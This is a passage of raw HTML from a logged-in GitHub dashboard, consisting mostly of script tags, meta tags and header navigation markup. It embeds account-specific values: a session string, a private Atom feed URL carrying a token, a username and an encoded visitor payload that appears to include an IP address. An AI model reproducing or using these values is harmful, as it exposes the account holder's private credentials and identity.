integrity="sha512-supZkxo+OPYLNtLXxI+e1dkCqVySu4FOWX1fiVVFs2ZggygppNsEz4F9wVp4YtH2TjFsZW8r/75uDUhPneO2sA==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-b2ea5993.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ma0OOy3nj0c1cqBx0BkcmIFsLqcSZ+MIukQxyEFM/OWTzZpG+QMgOoWPAHZz43M6fyjAUG1jH6c/6LPiiKPCyw==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-99ad0e3b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zh+tYYvd4W00us1O4PkhmKsl/CzInIyrdoMqV2xqC7XPu06UEHfEMJfOiwidJ5f80SwrdGWogWFuJzLHwRbRgA==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-ce1fad61.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Zii9oRdZ6q2QDNjL5A+me7jwJjMLvs1NiQNHmajUZnn4t9shcBDb4F8l/PQZW26eYfe5065oM7lIOSmbMinA7Q==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-6628bda1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-9WNXtB07IyWypiPmkuucspwog4mme9q5GKGMSgd7FI0DPimmg/pEw+aaAofFV1vuWMt9I8H5QpsVtlbHGg1YBA==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-f56357b4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-fIq9Mn7jY/bHQXnsmh+VejpDnaO+d/FDxsp+4CuZtdNLrLuO+dQCjh+m6Yd8GCYD2Cy6DWbCEyM+mH2dkB2H9A==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-7c8abd32.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-WK8VXw3lfUQ/VRW0zlgKPhcMUqH0uTnB/KzePUPdZhCm/HpxfXXHKTGvj5C0Oex7+zbIM2ECzULbtTCT4ug3yg==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-58af155f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vgHJEmEJxNmHucGbVY8bEUoOYo5/ZwpQ69rU8Dld89daWJ54uad9lNptxq32F8pnbHhdngw9lohNEbMbjmj5AQ==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-be01c912.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aSxfTHAZj9wv7n08DxgAKkNg7jhiTo4yKKbDqLGxcDxUk/al571Y2ZSsOmLJ0Vh8cuAL8tW+JgX1t0JeKfyfaA==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-692c5f4c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FTzn67VUikEWGXoKpUjZgeuNXoI9NQXyuzSfVmtG0gFTy7QZykAwRn4RSvGXc/CPyWYkdiDNlbc0vtP9jfG61w==" type="application/javascript" src="https://github.githubassets.com/assets/dashboard-153ce7eb.js"></script> <meta name="viewport" content="width=device-width"> <title>GitHub</title> <meta name="description" content="GitHub is where people build software. More than 56 million people use GitHub to discover, fork, and contribute to over 100 million projects."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta property="og:url" content="https://github.com"> <meta property="og:site_name" content="GitHub"> <meta property="og:title" content="Build software better, together"> <meta property="og:description" content="GitHub is where people build software. More than 56 million people use GitHub to discover, fork, and contribute to over 100 million projects."> <meta property="og:image" content="https://github.githubassets.com/images/modules/open_graph/github-logo.png"> <meta property="og:image:type" content="image/png"> <meta property="og:image:width" content="1200"> <meta property="og:image:height" content="1200"> <meta property="og:image" content="https://github.githubassets.com/images/modules/open_graph/github-mark.png"> <meta property="og:image:type" content="image/png"> <meta property="og:image:width" content="1200"> <meta property="og:image:height" content="620"> <meta property="og:image" content="https://github.githubassets.com/images/modules/open_graph/github-octocat.png"> <meta property="og:image:type" content="image/png"> <meta property="og:image:width" content="1200"> <meta property="og:image:height" content="620"> <meta property="twitter:site" content="github"> <meta property="twitter:site:id" content="13334762"> <meta property="twitter:creator" content="github"> <meta property="twitter:creator:id" content="13334762"> <meta property="twitter:card" content="summary_large_image"> <meta property="twitter:title" content="GitHub"> <meta property="twitter:description" content="GitHub is where people build software. More than 56 million people use GitHub to discover, fork, and contribute to over 100 million projects."> <meta property="twitter:image:src" content="https://github.githubassets.com/images/modules/open_graph/github-logo.png"> <meta property="twitter:image:width" content="1200"> <meta property="twitter:image:height" content="1200"> <link rel="assets" href="https://github.githubassets.com/"> <link rel="shared-web-socket" href="wss://alive.github.com/_sockets/u/83227313/ws?session=eyJ2IjoiVjMiLCJ1Ijo4MzIyNzMxMywicyI6Njg3OTQzNzU5LCJjIjoxNzgwMjY2MzEwLCJ0IjoxNjE5NTk4OTc0fQ==--c3828368f62e5243e4f48fa946e4cfc901339ea447cd91fb7d9c84f1f918ba2d" data-refresh-url="/_alive" data-session-id="434d9062d48df3ef96d852e9530bffcd43b5ef7fc95d10b99f9259a01724d4ae"> <link rel="shared-web-socket-src" href="/socket-worker-3f088aa2.js"> <link rel="sudo-modal" href="/sessions/sudo_modal"> <meta name="request-id" content="869E:5293:1271A18:13DD4CF:60891E7B" data-pjax-transient="true" /><meta name="html-safe-nonce" content="8fff3e2bd7a4e7ef7b124494a7aecd900fa18b89ccc8e744b383b54609c6385b" data-pjax-transient="true" /><meta name="visitor-payload" content="eyJyZWZlcnJlciI6Imh0dHBzOi8vZ2l0aHViLmNvbS9nYW12aXA4OGNsdWIvc3VtdmlwLmNsdWIvYnJhbmNoZXMiLCJyZXF1ZXN0X2lkIjoiODY5RTo1MjkzOjEyNzFBMTg6MTNERDRDRjo2MDg5MUU3QiIsInZpc2l0b3JfaWQiOiIxMDc0Nzc4MDMzNzI0Mzk4MDMxIiwicmVnaW9uX2VkZ2UiOiJzZWEiLCJyZWdpb25fcmVuZGVyIjoiaWFkIn0=" data-pjax-transient="true" /><meta name="visitor-hmac" content="e9d28d753ba777482b0c264851595223f43c098f7f8ab654c5d73430fc20f3e7" data-pjax-transient="true" /> <meta name="page-subject" content="GitHub"> <meta name="github-keyboard-shortcuts" content="dashboards" data-pjax-transient="true" /> <meta name="selected-link" value="/" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-host" content="collector.githubapp.com" /><meta name="octolytics-app-id" content="github" /><meta name="octolytics-event-url" content="https://collector.githubapp.com/github-external/browser_event" /><meta name="octolytics-actor-id" content="83227313" /><meta name="octolytics-actor-login" content="NhaPhatHanh" /><meta name="octolytics-actor-hash" content="9b8cad704be56bcd058f36fbc9c7a3cfe249ef30c8807472fa126f9d85300648" /> <meta name="analytics-location" content="/dashboard" data-pjax-transient="true" /> <meta name="hostname" content="github.com"> <meta name="user-login" content="NhaPhatHanh"> <meta name="expected-hostname" content="github.com"> <meta name="js-proxy-site-detection-payload" content="NGM1ZjljNzQ5NGM3ODA0NzZmNGNhMTRjODZmZDliNTNmYmJjZGI1NDJmODI3NmNiNDVkZjQyYzQ4YTk1NmNjNHx7InJlbW90ZV9hZGRyZXNzIjoiMTEzLjE3Ni42OS4xNDIiLCJyZXF1ZXN0X2lkIjoiODY5RTo1MjkzOjEyNzFBMTg6MTNERDRDRjo2MDg5MUU3QiIsInRpbWVzdGFtcCI6MTYxOTU5ODk3NCwiaG9zdCI6ImdpdGh1Yi5jb20ifQ=="> <meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,AUTOCOMPLETE_EMOJIS_IN_MARKDOWN_EDITOR,GITHUB_TOKEN_PERMISSION,ACTIONS_CONCURRENCY_UI"> <meta http-equiv="x-pjax-version" content="48692bebf52b02afe08f94676411ebf21e58818307dcc45d253ded05ea2eb555"> <link rel="alternate" type="application/atom+xml" title="ATOM" href="/NhaPhatHanh.private.atom?token=AT27FMIJVILZOGSH5R3CXU56ST7X4" /> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"> <meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-in env-production page-responsive full-width" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> <a href="#start-of-content" class="p-3 color-bg-info-inverse color-text-white show-on-focus js-skip-to-content">Skip to content</a> <span class="progress-pjax-loader width-full js-pjax-loader-bar Progress position-fixed"> <span style="background-color: #79b8ff;width: 0%;" class="Progress-item progress-pjax-loader-bar "></span> </span> <header class="Header js-details-container Details px-3 px-md-4 px-lg-5 flex-wrap flex-md-nowrap" role="banner" > <div class="Header-item mt-n1 mb-n1 d-none d-md-flex"> <a class="Header-link " href="https://github.com/" data-hotkey="g d" aria-label="Homepage " data-ga-click="Header, go to dashboard, icon:logo"> <svg class="octicon octicon-mark-github v-align-middle" height="32" viewBox="0 0 16 16" version="1.1" width="32" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> </a> </div> <div class="Header-item d-md-none"> <button class="Header-link btn-link js-details-target" type="button" aria-label="Toggle navigation" aria-expanded="false"> <svg height="24" class="octicon octicon-three-bars" viewBox="0 0 16 16" version="1.1" width="24" aria-hidden="true"><path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg> </button> </div> <div class="Header-item Header-item--full flex-column flex-md-row width-full flex-order-2 flex-md-order-none mr-0 mr-md-3 mt-3 mt-md-0 Details-content--hidden-not-important d-md-flex"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 js-jump-to" role="combobox" aria-owns="jump-to-results" aria-label="Search or jump to" aria-haspopup="listbox" aria-expanded="false" > <div class="position-relative"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="js-site-search-form" role="search" aria-label="Site" data-unscoped-search-url="/search" action="/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus " data-hotkey="s,/" name="q" value="" placeholder="Search or jump to…" data-unscoped-placeholder="Search or jump to…" data-scoped-placeholder="Search or jump to…" autocapitalize="off" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search or jump to…" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" value="ZEYYtxq4/KKxJUDZsVrWLnrgLICx4DuMq0fmn3loykZHloZgOOlXukgdMLSgVgWdeBUU/LvldTl4X8jTtfzA8Q==" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" /> <input type="hidden" class="js-site-search-type-field" name="type" > <img src="https://github.githubassets.com/images/search-key-slash.svg" alt="" class="mr-2 header-search-key-slash"> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <ul class="d-none js-jump-to-suggestions-template-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-suggestion" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="suggestion"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in all of GitHub"> Search </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> </ul> <ul class="d-none js-jump-to-no-results-template-container"> <li class="d-flex flex-justify-center flex-items-center f5 d-none js-jump-to-suggestion p-2"> <span class="color-text-secondary">No suggested jump to results</span> </li> </ul> <ul id="jump-to-results" role="listbox" class="p-0 m-0 js-navigation-container jump-to-suggestions-results-container js-jump-to-suggestions-results-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-scoped-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="scoped_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in all of GitHub"> Search </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-owner-scoped-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="owner_scoped_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in all of GitHub"> Search </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-global-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href="" data-item-type="global_search"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in all of GitHub"> Search </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-center flex-items-center p-0 f5 js-jump-to-suggestion"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" viewBox="0 0 16 16" fill="none" width="32" height="32" class="m-3 anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </li> </ul> </div> </label> </form> </div> </div> <nav class="d-flex flex-column flex-md-row flex-self-stretch flex-md-self-auto" aria-label="Global"> <a class="Header-link py-md-3 d-block d-md-none py-2 border-top border-md-top-0 border-white-fade-15" data-ga-click="Header, click, Nav menu - item:dashboard:user" aria-label="Dashboard" href="/dashboard"> Dashboard </a> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade-15" data-hotkey="g p" data-ga-click="Header, click, Nav menu - item:pulls context:user" aria-label="Pull requests you created" data-selected-links="/pulls /pulls/assigned /pulls/mentioned /pulls" href="/pulls"> Pull<span class="d-inline d-md-none d-lg-inline"> request</span>s </a> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade-15" data-hotkey="g i" data-ga-click="Header, click, Nav menu - item:issues context:user" aria-label="Issues you created" data-selected-links="/issues /issues/assigned /issues/mentioned /issues" href="/issues"> Issues </a> <div class="d-flex position-relative"> <a class="js-selected-navigation-item Header-link flex-auto mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade-15" data-ga-click="Header, click, Nav menu - item:marketplace context:user" data-octo-click="marketplace_click" data-octo-dimensions="location:nav_bar" data-selected-links=" /marketplace" href="/marketplace"> Marketplace </a> </div> <a class="js-selected-navigation-item Header-link mt-md-n3 mb-md-n3 py-2 py-md-3 mr-0 mr-md-3 border-top border-md-top-0 border-white-fade-15" data-ga-click="Header, click, Nav menu - item:explore" data-selected-links="/explore /trending /trending/developers /integrations /integrations/feature/code /integrations/feature/collaborate /integrations/feature/ship showcases showcases_search showcases_landing /explore" href="/explore"> Explore </a> <a class="js-selected-navigation-item Header-link d-block d-md-none py-2 py-md-3 border-top border-md-top-0 border-white-fade-15" data-ga-click="Header, click, Nav menu - item:workspaces context:user" data-selected-links="/codespaces /codespaces" href="/codespaces"> Codespaces </a> <a class="js-selected-navigation-item Header-link d-block d-md-none py-2 py-md-3 border-top border-md-top-0 border-white-fade-15" data-ga-click="Header, 